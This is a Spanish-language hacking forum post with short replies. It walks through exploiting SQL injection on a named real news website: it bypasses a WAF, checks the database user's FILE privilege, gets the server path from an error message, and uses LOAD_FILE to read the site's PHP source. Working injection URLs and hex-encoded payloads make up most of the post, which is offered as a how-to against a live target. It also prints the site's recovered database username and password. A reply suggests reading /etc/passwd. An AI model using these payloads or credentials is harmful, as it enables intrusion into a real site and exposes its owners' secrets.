Bueno volviendo despues de un tiempo que me tuve que tomar por la facutad, aprovecho para dejar este aporte:
Realizar FSD por medio de SQLI:
Veamos esta Web con SQLI:
http://www.lasemana.es/periodico/noticia.php?cod=34689
despues de explotar el sqli y Bypassear el WAF queda asi:
Vector:
http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,0x6864627265616b6572,version(),6,user(),8,@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c
como podemos ver, la inyección es Union Based, y saltamos un WAF que solo filtra union y select, ahora mi pregunta es si el usuario
lasema@localhost
Tiene privilegios de Apertura de Ficheros, nos fijamos de la siguiente manera:
Dentro de information_schema existe una tabla que se llama USER_PRIVILEGES,
Dentro de esta tabla existe 2 campos que nos interesan:
GRANTEE: Posee los nombre de usuario de la base de datos.
PRIVILEGE_TYPE: Tipo de privilegio que tiene el usuario.
entonces la logica, nos dice que tenemos que formular algo como esto:
select * from information_schema.USER_PRIVILEGES;
pero esto nos devolveria muchos usuarios que no nos interesan que permisos tienen,
nosotros queremos saber que permisos tiene: "lasema@localhost" espesificamente si tiene el permiso FILE, a mi se me ocurre algo como esto:
SELECT GRANTEE FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE PRIVILEGE_TYPE="FILE";
esto nos mostraria todos los usuarios que tienen permisos FILE en la base de datos, entre eso buscaremos si se encuentra "lasema@localhost"
entonces acoplamos nuestra query sql a nuestra sentencia SQLI quedando de esta forma:
http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),group_concat(GRANTEE),@@datadir,10,11,12,13,14,15,16 from information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE=0x46494c45 limit 1,1-- -c
donde 0x46494c45 es el hexadecimal de FILE (Esto lo hacemos ya que no podemos encapsular FILE entre ' ' o " ")
vemos que nos devuelve esto:
podemos ver que al usar group_concat, la injection no logra ser completamente visible desde la interface de usuario, por lo que nos aventuraremos a ver el Source Code y buscando la palabra root nos posicionaremos sobre la linea de la injection:
Como podemos observar "lasema" aparece en esa linea, por lo que podemos determinar que el usuario "lasema@localhost" tiene permisos de FILE y podemos realizar lectura de archivo.
Para esto implementaremos nuestro querido:
LOAD_FILE("RUTA/ARCHIVO")
Bueno lo primero que debemos lograr es un Patch Disclosure que nos diga donde estamos parado, para esto vamos a intentar generar un error con caracteres invalidos para la web:
A mi se me ocurre poner algo tan simple como una ' y logro obtener esta respuesta:
podemos apreciar:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/docs/lasemana.es/periodico/noticia.php on line 8
donde mysql nos vuelve a dar una mano y nos revela nuestro patch disclosure: /var/www/docs/lasemana.es/periodico/noticia.php
Recapitulando:
Gracias a nuestro usuario "lasema@localhost" que posee privilegios de FILE podremos realizar LOAD_FILE(RUTA) donde RUTA el path de nuestro Patch Disclosure!
Manos a la Obra:
Nuestra SQLI queda de esta Forma:
http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),LOAD_FILE(0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870),@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c
Donde 0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870 es el hexadeciman de: /var/www/docs/lasemana.es/periodico/noticia.php (Ruta de nuestro Path Disclouse)
y Observaremos algo que esta muy enquilombado y no se entiende nada XD
por lo que asumo que desde nuestro codigo fuente se vera mas ordenado :D
y vemos muy claramente, el usuario y password de la base de datos:
$usuario = "lasema";
$contraseña = "arcaliso";
$conexion = mysql_connect("localhost", "$usuario","$contraseña") or mail ("
[email protected]","607720916","Se ha caido el Servidor","From: SOPORTE <
[email protected]>");
Espero que les sea de Utilidad!
HD_Breaker
Excelente post! Desconocía de esto.
Sigue así! ;D.
cuando lei el titulo pense que era una vulnerabilidad nueva xDD , es el clasico load_file() en SQLi.
Es parecido a LFI por medio de SQLI pero con distintos fines, sino se puede incluir /etc/passwd y ver entre los usuarios el path que corresponde a esa web